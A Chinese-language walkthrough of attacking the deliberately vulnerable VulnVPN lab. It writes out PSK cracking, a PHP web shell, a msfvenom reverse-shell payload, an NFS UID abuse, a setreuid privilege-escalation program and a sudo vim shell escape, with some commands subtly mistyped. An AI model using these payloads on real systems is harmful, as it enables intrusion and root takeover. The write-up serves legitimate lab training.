VPN漏洞測試平臺滲透學習筆記
VulnVPN是一款十分優秀的對VPN進行滲透測試的漏洞平臺工具。我不得不說,因為這款軟件,使得我們在進行VPN的安全性測試的時候方便了很多。我這篇文章就將帶領大家進行一次VPN的安全性測試,看一下如何一步步地成功的獲取一臺VPN的Root權限。
環境配置
需要首先下載VulnVPN軟件,下面是下載地址:
VulnVPN下載地址:http://www.rebootuser.com/wp-content/uploads/vulnvpn/VulnVPN.7z
VulnVPN客戶端文件:http://www.rebootuser.com/wp-content/uploads/vulnvpn/client.7z
在此之前我試過了Kali Linux的32位和64位版本來安裝,但是發現是行不通的(應該是系統版本問題),所以這里我就選擇了使用Backtrack 5 r3 32位的版本安裝了一個虛擬機
首先,我們需要修改一下網絡環境,這里我們打開虛擬網絡編輯器,然后把NAT IP地址改成192.168.0.0,如下圖所示:
我們將使用下面這臺Backtrack 5 r3 32位(以下簡稱BT5)的虛擬機作為攻擊機
現在我們新建一臺虛擬機然后把BT5安裝進去,安裝過程這里我們就略過不講,對于FreeBufer來說肯定不是一件困難的事情
要使的我們的VulnVPN能夠正常工作,首先我們需要安裝下面三個包:
1、openswan 2、xl2tpd 3、ppp
安裝命令如下:
apt-get install openswan xl2tpd ppp
安裝完成之后,這樣攻擊需要的環境我們就搭好了。這時候我們啟動我們下載的VulnVPN,我們將完全不對其進行任何修改,不進行任何操作,我們就假裝這個VPN就是一個遠程VPN,真的遠程VPN我們怎么可能碰得到呢對吧:)
然后我們需要在BT5攻擊機上設置一個靜態IP,做法也很簡單,只需要打開/etc/network/interfaces文件,然后給eth0網口指定靜態的IP就可以了,內容為下:
auto eth0 iface eth0 inet dhcp #iface eth0 inet static address 192.168.0.11 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 gateway 192.168.0.1
然后我們需要下載上面的VPN Client文件,然后解壓進行配置,具體的方式如下:
root@bt:~/vulnvpn/client# ls ipsec.conf ipsec.secrets ppp start-vpn.shxl2tpd root@bt:~/vulnvpn/client# cp ipsec.conf/etc/ root@bt:~/vulnvpn/client# cp ipsec.secrets/etc/ root@bt:~/vulnvpn/client# cpppp/options.l2tpd.client /etc/ppp/ root@bt:~/vulnvpn/client# cpxl2tpd/xl2tpd.conf /etc/xl2tpd/
#p#
開始進行滲透
我們使用以下命令來查看以下網絡的環境:
root@bt:~/vulnvpn# netdisocver -r192.168.0.0/24
對192.168.0.10主機進行TCP端口掃描
這里我們使用神器nmap對上面發現的VulnVPN主機進行端口掃描(關于nmap的具體使用方法大家可以點這里:http://www.freebuf.com/articles/network/32302.html):
root@bt:~/vulnvpn# nmap -A 192.168.0.10
對192.168.0.10主機進行UDP端口掃描
root@bt:~/vulnvpn# nmap -sU 192.168.0.10
Note:以上掃描結果中的靶機中的81端口只是預留為解決緊急狀況的,并非我們的攻擊目標和方向。
通過掃描,我們發現VulnVPN在500端口上運行了isakmp服務,關于這個服務的詳細信息,你可以點擊這里查看:http://www.networksorcery.com/enp/protocol/isakmp.html
然后我們將對這個服務進行深入的信息收集,但是這個時候繼續使用nmap肯定是力不從心了,這里我們使用ike-scan工具進行下一步的工作(ike-scan是一款基于命令行的工具,主要有主機發現,指紋識別等功能,可以用來測試IPSec VPN服務器)#p#
然后我們使用該工具進行主機掃描:
root@bt:~/vulnvpn# ike-scan -M -A-Pike-hash -d 500 192.168.0.10
下面是關于該工具的幾個參數的解釋:
-M:縮進式輸出 -A:攻擊模式 -P<文件名>:指定寫入預共享key的文件名 -d:目標機器的UDP端口
這里我們獲得的ike-hash文件中的預共享key可以使用psk-crack進行破解,破解過程如下:
root@bt:~/vulnvpn# psk-crack -d/pentest/passwords/wordlists/rockyou.txt ike-hash
很快我們就得到了密碼,密碼為123456,這里我們就可以使用這個密碼連接VulnVPN了
編輯/etc/ipsec.secrets文件,然后將ENTER_PSK_HERE字段改為123456,命令如下:
root@bt:~/vulnvpn# nano /etc/ipsec.secrets
然后我們重啟一下ipsec服務:
root@bt:~# /etc/init.d/ipsec restart
然后我們可以用以下命令看一下已經啟動的服務:
root@bt:~# service –status-all
如果xl2tpd服務沒有啟動起來,這個時候還需要啟動一下:
root@bt:~# /etc/init.d/xl2tpd start
現在我們連接VulnVPN:
root@bt:~# ipsec auto –up vpn
然后我們運行client文件中的start-vpn.sh文件,如果前面的配置沒有問題,這個時候我們應該可以看到建立了一個ppp0的接口:
root@bt:~/vulnvpn/client# sh start-vpn.sh root@bt:~/vulnvpn/client# ifconfig
我們可以用以下命令看一下活動主機:
root@bt:~/vulnvpn# for ip in10.99.99.{1..255}; do ping -c 1 -t 1 $ip > /dev/null && echo “${ip}is up”; done
我們知道,10.99.99.2是我們的VPN IP地址,而10.99.99.1則是VPN地址。#p#
然后我們對10.99.99.1進行端口掃描:
root@bt:~/vulnvpn# nmap -A -p1-6553510.99.99.1
我們可以看到在10.99.99.1的80端口運行著HTTP服務,我們看下是個什么東西
看起來沒什么特殊的東西,沒關系,我們接著看10000端口:
我們首先分析這個HTTP服務。我們可以從上圖看到,這就是一個Apache HTTP服務安裝之后的默認頁面,沒什么特殊的東西。我們需要對其進行深入的掃描分析才能得到更多的信息,這里我們使用DirBuster對其進行進一步的掃描:
過程不過多描述,上結果:
我們從結果可以看出來,在HTTP服務上搭了一個WordPress。好奇心驅使我們看一下這個WP頁面:
http://10.99.99.1/wordpress/
這里是一個主站的上傳頁面:
看到這里,首先反應就是看看有沒有解析漏洞,這里我們試一下傳一個php一句話(cmd.php):
- <?php
- highlight_string(shell_exec($_REQUEST['cmd']));
- ?>
WordPress默認的上傳路徑是/wp-content/uploads/,我們訪問看一下:
經過查看,我們發現我們上傳的PHP文件的路徑是rsjp/attachments/ 文件夾下,但是文件名改成了一串隨機字符串。我們可以通過這里得到一個web shell:
得到shell就等于成功了大半,我們可以使用命令獲取一個meterpreter,當然,首先我們需要生成一個meterpreter php shell:
msfvenom -p php/meterpreter/reverse_tcpLHOST=10.99.99.2 LPORT=4444 -f raw > meter.php
#p#
然后我們開啟一個handler進行監聽:
然后我們就得到了一個meterpreter會話。但是這里直接使用shell不是特別方便,我們使用python獲取一個交互的shell:
Meterpreter> shell
python -c “importpty;pty.spawn(‘/bin/bash’);”
我們查看一下passwd文件:
www-data@vulnvpn:/$ cat /etc/passwd
分析passwd文件,我們可以看到幾個有趣的用戶:
root www-data bob jane
不要忘了,我們在之前分析的時候還有一個運行在10000端口的login頁面:https://10.99.99.1:10000/
這里我們不知道密碼是什么,不過我們可以使用上面第一個漏洞獲取到的信息來創建一個user列表,密碼我們用一些常見密碼,然后在這里進行猜解,下面是一組猜解得到的結果:
User Password bob bob
Note:過多次的嘗試將會使IP被短時間列入黑名單。
然后我們在msf中搜一下,看看有沒有webmin相關的公開漏洞
我們運氣不錯,經過搜索,我們找到了一個公開的exp:
Metasploit:exploit/unix/webapp/webmin_show_cgi_exec
Note:找不到這個exp說明你的msf需要升級了
然后我們使用這個exp來獲取服務器的root權限:
#p#
另一種獲取root的方式
這里我們使用hydra的字典模式對SSH服務進行暴力破解,然后跟上面一樣,假裝我們已經獲取到了用戶名和密碼(說起來容易。。。不過要是有跟黑客叔叔p0tt1一樣的運氣肯定是很簡單的)
從Nmap的掃描結果我們可以看到一個網絡文件系統(NFS)
我們載入一個msf中的一個NFS掃描模塊:
Metasploit: auxiliary/scanner/nfs/nfsmount
這里我們可以看到有一個路徑/home/bob是存在的
我們掛載一下看一下:
root@bt:~/vulnvpn# mount10.99.99.1:/home/bob /root/vulnvpn/bob -o nolock
然后列一下文檔:
root@bt:~/vulnvpn# ls -lah ./bob
擦擦擦!為毛所有的文件都是postgres用戶?
問題的答案是,當NFS掛載之后,文件的所屬的權限并非通過用戶名和組傳遞的,傳遞的是UID和GID,所以到了本機之后就變成了一個本機存在的用戶名,即postgres,而這個用戶是BT5機器上的而非VulnVPN的。我們可以查看我們BT5的passwd文件我們會發現UID為1000的用戶恰好為postgres。而現在我們使用之前第一個漏洞,讀出VulnVPN的/etc/passwd文件內容,我們可以看到VulnVPN中UID為1000的用戶為bob。
言歸正傳,我們使用BT5的root權限嘗試在NFS中寫入一個文件時,我們發現出錯了:
這是因為,NFS開啟了“Root Squashing”,所以這時候我們使用root是不行的,所以這個時候我們切換到UID為1000的用戶,本機則為postgres,這樣我們再去創建文件就不會出現任何問題了
root@bt:~/vulnvpn# su postgres sh-4.1$ chmd 777
我們把/bin/bash文件復制到./bob下:
sh-4.1$ cp /bin/bash ./
因為root是沒有掛載文件夾的寫入權限的,而且我們已經有了一個從www-date返回的shell,其權限是ID為1001的名為jane的用戶。我們可以在本地新建一個相同信息的用戶:
root@bt:~/vulnvpn# useradd -u 1001 jane
現在我們切換到剛建的這個用戶:
root@bt:~/vulnvpn/bob# su jane sh-4.1$ whoami
用jane用戶將/bin/bash拷貝到掛載目錄,同時修改其權限為4777,這就意味著無論是誰調用這個bash都將得到jane這個賬戶的權限
sh-4.1$ cp /bin/bash ./mybash sh-4.1$ chmod 777 mybash
先前我們暴力破解到的用戶名和密碼就起到作用了,我們使用SSH登錄:
root@bt:~/vulnvpn/bob# ssh bob@10.99.99.1
現在我們附加-p參數運行我們剛剛復制過來的bash:
bob@vulnvpn:~$ ./mybash –p
從圖里我們可以看出來,現在我們是用jane用戶登錄的,但是UID和GID都還是bob用戶的,那么我們就可以借用這一點想辦法提權
為了達到目的,我這里寫了一段C(priv1.c):
void main() { /* setreuid(ruid,euid)sets the real andeffective user IDs of the current process to the values specified by the ruidand euid arguments */ setreuid(1001,-1); char *args[] = {“/bin/bash”,0}; execve(args[0],args,0); }
我們編譯這段C,然后將編譯后的文件以用戶jane身份復制到掛載到NFS中
在此之前,當然是需要安裝gcc的,沒有的可以自己安裝一下
root@bt:~/vulnvpn#apt-get install gcc
然后我們進行編譯:
root@bt:~/vulnvpn# gcc priv1.c -o priv1 root@bt:~/vulnvpn# chmod 777 priv1 root@bt:~/vulnvpn# cd bob root@bt:~/vulnvpn/bob# su jane sh-4.1$ cp ../priv1 ./
現在,我們返回SSH會話中執行這個編譯好的文件:
mybash-4.1$ ./priv1
我們試一下運行root權限的命令:
jane@vulnvpn:/home/bob$ sudo –l
我們發現用jane用戶我們可以運行root權限的命令(比如vim)而不需要輸入密碼
如果你不清楚是不是這樣的,那我們就試一下:
jane@vulnvpn:/home/bob$ vim
運行vim之后,我們按下”:”然后輸入”!<命令>”
我們開一個shell…
jane@vulnvpn:/home/bob$ sudo vim
得到root權限。
參考來源:resources.infosecinstitute.com